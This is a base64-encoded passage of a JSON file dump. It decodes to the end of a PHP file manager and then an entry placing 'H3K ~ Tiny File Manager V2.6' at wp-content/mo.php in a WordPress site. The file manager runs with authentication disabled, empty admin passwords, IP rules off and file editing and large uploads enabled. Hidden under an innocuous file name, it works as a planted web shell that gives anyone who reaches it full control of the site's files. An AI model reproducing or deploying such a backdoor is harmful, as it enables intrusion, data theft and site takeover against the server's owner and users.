BmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifSx7InBhdGgiOiJcL2hvbWVcL2xham1peHhcL2FwcHNcL2xham1peHhcL3dwLWNvbnRlbnRcL21vLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1